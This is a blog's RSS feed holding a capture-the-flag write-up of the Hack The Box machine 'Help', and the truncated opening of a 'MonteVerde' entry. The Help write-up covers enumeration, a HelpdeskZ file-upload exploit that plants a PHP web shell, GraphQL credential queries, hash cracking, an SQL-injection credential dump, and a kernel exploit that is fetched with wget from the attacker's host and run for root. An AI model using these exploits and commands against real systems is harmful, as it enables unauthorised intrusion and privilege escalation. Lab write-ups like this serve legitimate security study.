<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Write-Up on Emil Pawlak</title><link>https://emilpawlak.codeberg.page/categories/write-up/</link><description>Recent content in Write-Up on Emil Pawlak</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>EmilPawlak@protonmail.com (Emil Pawlak)</managingEditor><webMaster>EmilPawlak@protonmail.com (Emil Pawlak)</webMaster><lastBuildDate>Sat, 18 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://emilpawlak.codeberg.page/categories/write-up/index.xml" rel="self" type="application/rss+xml"/><follow_challenge><feedId>268463077562171392</feedId><userId>268314549812641792</userId></follow_challenge><item><title>Help</title><link>https://emilpawlak.codeberg.page/posts/htb/help/</link><pubDate>18.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/help/</guid><description>Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn&amp;rsquo;t become annoying or unnecessary complicated at any point. It&amp;rsquo;s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;As usual I start with a nmap scan that runs in the background.





&lt;div
 id="accordion-a42ca444a7152a047145e4c91b6f7f72"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for 10.129.230.159
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/18%OT=22%CT=1%CU=37591%PV=Y%DS=2%DC=I%G=Y%TM=69E3891
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2S
OS:T11NW7%O2=M4E2ST11NW7%O3=M4E2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M
OS:4E2ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y
OS:%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.55 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1009.37 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-a42ca444a7152a047145e4c91b6f7f72 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-a42ca444a7152a047145e4c91b6f7f72 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-a42ca444a7152a047145e4c91b6f7f72 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-a42ca444a7152a047145e4c91b6f7f72 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-a42ca444a7152a047145e4c91b6f7f72");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;/p&gt;
&lt;p&gt;I inputted the ip into the browser, it changed into &amp;ldquo;help.htb&amp;rdquo; domain so I added it into my &lt;code&gt;/etc/hosts&lt;/code&gt; file. Running nmap scan shows that there are 3 ports opened - 22, 80 and 3000. HTTP shows a default apache2 page. Port 3000 shows a JSON file with a message &amp;ldquo;Hi Shiv, To get access please find the credentials with given query&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I ran a directory scan on both ports &lt;code&gt;ffuf -u http://help.htb:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/code&gt; and checked for any subdomains with &lt;code&gt;ffuf -u http://help.htb:3000/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.help.htb&amp;quot; -fs 81&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I found additional subdirectories on port 80:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server-status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;javascript
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;support&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I also tried out feroxbuster with &lt;code&gt;feroxbuster -u http://help.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404 --dont-filter&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;ffuf showed me that there is a support directory which hosts helpdeskz, forexbuster also showed me that there is an upload page on it. I looked online and with defaultcreds (&lt;code&gt;creds search helpdesk&lt;/code&gt;) but I didn&amp;rsquo;t find anything for this ticketing dashboard.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Searchsploit shows that there is some arbitrary file upload public exploit, I will check it out. I can&amp;rsquo;t find what version I&amp;rsquo;m using but this exploit works on helpdeskz&amp;rsquo;s version 1.0.2 - &lt;a href="https://www.exploit-db.com/exploits/40300" target="_blank" rel="noreferrer"&gt;https://www.exploit-db.com/exploits/40300&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I found this python port of this exploit - &lt;a href="https://github.com/trevlee/helpdeskz_exploit" target="_blank" rel="noreferrer"&gt;https://github.com/trevlee/helpdeskz_exploit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I tested this exploit a few times and looked around other forks of it - there is some nuance to it.&lt;/p&gt;
&lt;p&gt;Firstly, you need to provide a &amp;ldquo;baseUrl&amp;rdquo; for the exploit. I assumed that &amp;ldquo;base&amp;rdquo; url would be &amp;ldquo;&lt;a href="http://help.htb/support%22" target="_blank" rel="noreferrer"&gt;http://help.htb/support"&lt;/a&gt; in that case, but that&amp;rsquo;s not true. When I ran a script I never got any successful hits with it. Then I thought that maybe it expects the form URL with all it&amp;rsquo;s GET parameters like &lt;code&gt;http://help.htb/support/?v=submit_ticket&amp;amp;action=displayForm&lt;/code&gt; but it had an opposite effect - everything was a false-positive.&lt;/p&gt;
&lt;p&gt;Then I was reading some fork version of the script and noticed that author was accessing &lt;code&gt;http://help.htb/support/uploads/tickets/&lt;/code&gt; which finally worked.&lt;/p&gt;
&lt;p&gt;Another issue was the shell&amp;rsquo;s file. When I attempted to attach a &lt;code&gt;.php&lt;/code&gt; shell or similar the form always thrown out an error. The only format it seemed to accept was &lt;code&gt;.txt&lt;/code&gt; which redirected me out. I doubled my extensions like so &lt;code&gt;.php.txt&lt;/code&gt; and it seemed to go through but the exploit never saw those shells. Only after I while I randomly tried to catch a failed form with a plain &lt;code&gt;.php&lt;/code&gt; extension and it worked. Seems like the form doesn&amp;rsquo;t really discard those forms - crazy logic error.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~/Desktop/htb/machines/help/helpdeskz_exploit): python3 exploit http://help.htb/support/uploads/tickets/ shell.php 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;found!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://help.htb/support/uploads/tickets/bd42427925a14e4cf6e46a11468bc98c.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I also couldn&amp;rsquo;t make a reverse shell work so instead I just uploaded a simple php web shell. With it I got access as the help user and got a user flag.&lt;/p&gt;
&lt;p&gt;I decided to try the revshell route again and first I got a never before seen error about a detection of a server side request forgery, but after I refreshed it worked.&lt;/p&gt;
&lt;p&gt;Account is in some interesting groups &lt;code&gt;uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Looking around the filesystem I didn&amp;rsquo;t find anything interesting besides the help&amp;rsquo;s directory so I dug deeper into it. In &lt;code&gt;/home/help/help/src&lt;/code&gt; I found what looks to be the source of the message from port 3000. It asked me to use a query to look for credentials so I ran &lt;code&gt;grep -rni &amp;quot;pass&amp;quot; .&lt;/code&gt; and I found this information&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./graphql/schema/resolvers/index.js:1:const user = { username:&amp;#39;helpme@helpme.com&amp;#39;, password:&amp;#39;5d3c93182bb20f07b994a7f617e99cff&amp;#39; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./graphql/schema/types/user.graphql:4: password: String&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I tried to use those credentials on the only login form I know so on port 80 but it didn&amp;rsquo;t work - same goes for ssh.&lt;/p&gt;
&lt;p&gt;From what I&amp;rsquo;m checking it seems like the software on 3000 Express powered by Node.js running GraphQL. GraphQL is the key part here, it allows me to talk to the servers database. Think of this setup like a normal SQL (preferably MySQL) database. To talk with GraphQL you need to call it and request specific data from its entry points and need to follow syntax.&lt;/p&gt;
&lt;p&gt;So, I could use BurpSuite or some tools that help with graphql but I decided to use curl here.&lt;/p&gt;
&lt;p&gt;The intended way to get this data was likely to query the server with GraphQL.
Keeping that MySQL analogy in mind, to first know what databases there are. If a server or a company is big there might be multiple databases, but here there is only one so we can skip this aspect.&lt;/p&gt;
&lt;p&gt;After databases, I would like to know what tables are in that database, this can be done with such command:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ __schema { types { name } } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;__schema&amp;#34;:{&amp;#34;types&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;Query&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;User&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;String&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Schema&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Type&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__TypeKind&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;Boolean&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Field&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__InputValue&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__EnumValue&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Directive&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__DirectiveLocation&amp;#34;}]}}}% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The important part is in the &lt;code&gt;-d&lt;/code&gt; flag. Inside, there is a JSON enveloped GraphQL query which asks the database (&lt;code&gt;__schema&lt;/code&gt;) what tables are there (&lt;code&gt;{ types { name } }&lt;/code&gt;) inside of it.&lt;/p&gt;
&lt;p&gt;Seeing the output I can see a number of &amp;ldquo;tables&amp;rdquo;. Schema and default ones are usually prefixed with &lt;code&gt;__&lt;/code&gt;. From that output I see a &amp;ldquo;table&amp;rdquo; named &amp;ldquo;Users&amp;rdquo; and I would like to access it. Problem is, I don&amp;rsquo;t know the structure inside of it. To enumerate it, I can just the below command. Remember, that the important part is inside the &lt;code&gt;-d&lt;/code&gt; flag:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ __type(name:\&amp;#34;User\&amp;#34;) { fields { name } } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;__type&amp;#34;:{&amp;#34;fields&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;username&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;password&amp;#34;}]}}}% ```&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This output shows me, that there is a &amp;ldquo;username&amp;rdquo; and &amp;ldquo;password&amp;rdquo; column - or an entry point.&lt;/p&gt;
&lt;p&gt;Now, knowing what columns I can query, I can search for that with this command:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ user { username password } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;user&amp;#34;:{&amp;#34;username&amp;#34;:&amp;#34;helpme@helpme.com&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;5d3c93182bb20f07b994a7f617e99cff&amp;#34;}}}% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Anyway, as the message said &amp;ldquo;To get access please find the credentials&amp;rdquo; and I got the credentials I need to think for what those creds could be. I already checked the helpdeskz and ssh, but my correct suspicion is that they are likely for the express database itself. Express is however just an HTTP server. It natively doesn’t have a built-in authentication system so my only way in could still be GraphQL queries.&lt;/p&gt;
&lt;p&gt;I wanted to authenticate with GraphQL but there looking at my previous output there is no &amp;ldquo;Mutations&amp;rdquo; table. Which would be needed for API to accept any credentials in the first place. I though about other possible ways to authenticate to Express and I thought that my password might be in fact an MD5 hash. I ran it though &lt;code&gt;hashcat&lt;/code&gt; with &lt;code&gt;-m 0&lt;/code&gt; and to my silly surprise it is. the password in reality is &amp;ldquo;godhelpmeplz&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;This credentials worked on the helpdeskz platform this time. Inside, I can see a new tab &amp;ldquo;My Tickets&amp;rdquo; but it and all other tabs don&amp;rsquo;t show any new data.&lt;/p&gt;
&lt;p&gt;That new tab requires me to input a ticket id and search. Maybe there is like an &amp;ldquo;IDOR&amp;rdquo; vulnerability for it. It&amp;rsquo;s not really an idor but I digress. I opened this site with burp, created a small wordlist with number using &lt;code&gt;for i in {0..10000}; do echo &amp;quot;$i&amp;quot;; done &amp;gt; numbers.txt;&lt;/code&gt; and looked for website size difference. There was just one difference for id 0 but it was just another error.
I realized that those ids are not simple number but are encoded same as I did in my foothold - &lt;code&gt;#6DA-F2B-8D321&lt;/code&gt; etc.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I remembered when looking for helpdeskz exploits to file upload I stumbled upon SQL injection. I have a feeling that it could be my way into priv-esc.
&lt;a href="https://github.com/sz3kz/HelpdeskZ-Authenticated-SQL-injection" target="_blank" rel="noreferrer"&gt;This repo&lt;/a&gt; seems like will work. It also mentions the correct version. I followed the steps from the repository I got a few errors like this:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(myvenv) azaeir@parrot (~/Desktop/htb/machines/help/HelpdeskZ-Authenticated-SQL-injection): ./helpdeskz-sql-injection.py &amp;#34;http://help.htb/support/&amp;#34; &amp;#34;helpme@helpme.com&amp;#34; &amp;#34;godhelpmeplz&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+) Csrfhash: &amp;#34;7a42706d1baa866ce4216464bb815971&amp;#34; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+) Ticket link: &amp;#34;http://help.htb/support/?v=view_tickets&amp;amp;action=ticket&amp;amp;param[]=9&amp;#34; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Failed to fetch the full vulnerable url.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) This may be due to an existing ticket&amp;#39;s lack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) lack of file attachment.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Delete file-less ticket and create one with 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) a file attached to it!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Response:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b&amp;#39;&amp;lt;!DOCTYPE html PUBLIC &amp;#34;-//W3C//DTD XHTML &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But it just turned out that I need to create a ticket as an authenticated user. When I ran the above command again I got admin credentials - admin:d318f44739dced66793b1a603028133a76ae680e. Interestingly, this repo seems to be using error based sql injection and from the looks of it, it was created specifically for this box which kinda defeats the purpose of using it.&lt;/p&gt;
&lt;p&gt;I ran the admin&amp;rsquo;s password hash through hashcat, first with just &lt;code&gt;hashcat admin.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt; and then &lt;code&gt;hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt; when I learned that it&amp;rsquo;s SHA1 - admin:Welcome1.&lt;/p&gt;
&lt;p&gt;I use the admin credentials to ssh into the host but it didn&amp;rsquo;t work, I also tried it on helpdeskz and same results. I used variants with and without the domain to no avail.
I decided to run the script again and guess other columns like &amp;ldquo;email&amp;rdquo; and &amp;ldquo;id&amp;rdquo;. I found an email &lt;a href="mailto:support@mysite.com" &gt;support@mysite.com&lt;/a&gt; but it still doesn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;I took a break and came back with new power. I decided to go over my linux priv-escalation before i run linPEAS.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;uname -a&lt;/code&gt; I got information about the linux and with &lt;code&gt;searchsploit 4.4.0-116&lt;/code&gt; I noticed that there is a local privilege escalation vulnerability related to this kernel version.&lt;/p&gt;
&lt;p&gt;I found &lt;a href="https://0xma.github.io/hacking/local_privilege_escalation_on_linux_kernel.html" target="_blank" rel="noreferrer"&gt;this article&lt;/a&gt; that talks about an exploit. I followed the steps mentioned there and just slightly adjusted the recommendations.
I download the exploit with &lt;code&gt;searchsploit -m linux/local/44298.c&lt;/code&gt;.
Then i compile it with &lt;code&gt;gcc -static 44298.c -o exploit.c&lt;/code&gt;. &lt;code&gt;-static&lt;/code&gt; also compiles the exploit with all libraries it might need.
I start a python server &lt;code&gt;python3 -m http.server 1338&lt;/code&gt;.
Look for a directory where I&amp;rsquo;m able to download the exploit. I can in &lt;code&gt;cd /tmp&lt;/code&gt;.
I download the exploit with &lt;code&gt;wget http://10.10.15.189:1338/exploit.c&lt;/code&gt;.
Make it executable with &lt;code&gt;chmod +x exploit.c&lt;/code&gt;.
And run &lt;code&gt;./exploit.c&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With these steps I get a root shell and find the root flag in their home directory.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn&amp;rsquo;t become annoying or unnecessary complicated at any point. It&amp;rsquo;s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/help/featured.png"/></item><item><title>MonteVerde</title><link>https://emilpawlak.codeberg.page/posts/htb/monteverde/</link><pubDate>17.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/monteverde/</guid><description>MonteVerde is a pretty straightforward machine, it shows a niche technique of privilege escalation with Azure AD Connect but besides it, it&amp;rsquo;s pretty typical in terms of pivoting, enumeration, and gaining the foothold. Still, there aren&amp;rsquo;t many boxes that touch Azure so it was really interesting to explore it.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I ran a nmap scan and there are typical AD related ports open.&lt;/p&gt;
&lt;p&gt;




&lt;div
 id="accordion-2f4b730e9b0b0548120d34a6c30a7b2d"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
